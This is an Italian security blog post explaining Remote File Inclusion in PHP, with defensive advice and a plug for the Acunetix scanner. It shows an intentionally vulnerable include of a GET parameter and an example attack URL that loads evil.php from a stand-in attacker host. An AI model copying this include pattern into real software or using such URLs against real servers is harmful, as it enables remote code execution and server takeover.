Diventa Autore per CoreTech | Scopri di più
16/06/20 CoreTech Blog
Utilizzando l'inclusione remota dei file (RFI), un utente malintenzionato può causare l'applicazione Web per includere un file remoto. Ciò è possibile per le applicazioni Web che includono dinamicamente file o script esterni. Conseguenze di sicurezza web potenziale di un raggio d'attacco RFI successo dalla divulgazione di informazioni sensibili e di cross-site scripting (XSS) per esecuzione di codice remoto e, come risultato finale, completa compromissione del sistema.
Gli attacchi di inclusione di file remoti di solito si verificano quando un'applicazione riceve un percorso a un file come input per una pagina Web e non lo disinfetta correttamente. Ciò consente di fornire un URL esterno alla funzione include.
Di seguito è riportato un esempio di codice PHP con una vulnerabilità di inclusione di file remota. È possibile includere un file con codice sorgente, con conseguente esecuzione di codice arbitrario.
/**
* Get the filename from a GET input
* Example - http://example.com/?file=index.php
*/
$file = $_GET['file'];
/**
* Unsafely include the file
* Example - index.php
*/
include($file);
Utilizzando lo script PHP sopra riportato, un utente malintenzionato può inviare la seguente richiesta HTTP per indurre l'applicazione a eseguire codice dannoso sul lato server, ad esempio una backdoor o una rete web.
http://example.com/?file=http://attacker.example.com/evil.php
In questo esempio, il file dannoso è incluso e viene eseguito con le autorizzazioni di esecuzione dell'utente del server che esegue l'applicazione Web. Ciò consente a un utente malintenzionato di eseguire qualsiasi codice desiderato sul server Web. Possono persino ottenere una presenza persistente sul web server.
Fortunatamente, è facile verificare se il tuo sito Web o l'applicazione Web è vulnerabile alla RFI e ad altre vulnerabilità come Iniezione SQL, attraversamento di directory e altro, eseguendo una scansione Web automatizzata utilizzando lo scanner di vulnerabilità Acunetix.
Se trovi vulnerabilità RFI, il modo migliore per eliminarle è di non includere mai i file in base all'input dell'utente. Se ciò non è possibile, l'applicazione dovrebbe mantenere una lista bianca di file che possono essere inclusi. La validazione dell'input è un metodo molto meno efficace in questo caso perché gli attaccanti possono aggirarlo usando trucchi intelligenti.
Inoltre, nel caso di applicazioni PHP, la maggior parte delle installazioni correnti sono configurate con allow_url_include impostato su off in php.ini. Ciò rende impossibile per gli utenti malintenzionati includere file remoti. Tuttavia, in questo caso è ancora possibile l'inclusione di file locali (LFI).